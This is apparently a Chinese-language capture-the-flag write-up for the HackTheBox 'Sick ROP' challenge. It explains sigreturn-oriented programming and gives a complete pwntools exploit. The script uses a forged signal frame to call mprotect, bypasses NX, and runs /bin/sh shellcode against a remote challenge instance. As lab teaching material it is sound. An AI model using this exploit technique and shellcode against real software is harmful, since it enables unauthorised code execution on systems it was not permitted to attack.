Sick ROP on HackTheBox / SROP

Before all

SROP

SROP = Sigreturn Oriented Programming
一支程式如果接到signal,它會把寄存器值存到stack上,這叫signal frame
而這些資料被處裡完後需要透過__restore_rt的函數去做return進行真的存取,也就是syscall table上面0xf的syscallrt_sigreturn
利用場景主要就在ROP GADGET非常不足時…

Write Up

Analysis

checksec
image

ROPgadget
image

radare2
image

可以發現很缺少ROP CHAIN, 程式本身只有開nx的防護,可以利用syscall table裡面的mprotect(就是0xa)進行資料段改權限。

幾個觀察點:
RAX的值會隨著輸入長度+1(因為會算上換行)而改變

找可寫入的地址:(with gdb-peda vmmap)
image

syscall 時需要呼叫回去vuln的函數,找一個指向它地址的指標:
image

就可以湊出利用 Sigreturn 改寫權限的 signal frame:

1
2
3
4
5
6
7
8
writable = 0x400000
frame = SigreturnFrame(kernel="amd64")
frame.rax = 10
frame.rdi = writable
frame.rsi = 0x40000 # size
frame.rdx = 7 ### r/w/x
frame.rsp = vuln_pointer
frame.rip = syscall

最後改寫成功就可以繞調 NX 防護,然後進行一般的 RET 2 SHELLCODE!!!

完整腳本:

Exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.arch='amd64'
#r=process('./sick_rop')
r=remote('83.136.255.150', 52277)
rop=ROP('./sick_rop')

# gadgets

vuln=0x0040102e
vuln_pointer=0x4010d8
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
syscall=rop.syscall[0]

# sig payload

## NX bypass
writable = 0x400000
frame = SigreturnFrame(kernel="amd64")
frame.rax = 10
frame.rdi = writable
frame.rsi = 0x40000
frame.rdx = 7 ### r/w/x
frame.rsp = vuln_pointer
frame.rip = syscall

# exploit
payload1=b'w'*40+flat(vuln, syscall)+bytes(frame)
r.sendline(payload1)
r.recv()
r.sendline(b'w'*14)
r.recv()
#gdb.attach(r)
payload2=shellcode+b'w'*17+p64(0x4010b8)
r.sendline(payload2)
r.interactive()

image

p.s.中間有利用pwntools的gdb看過return address
image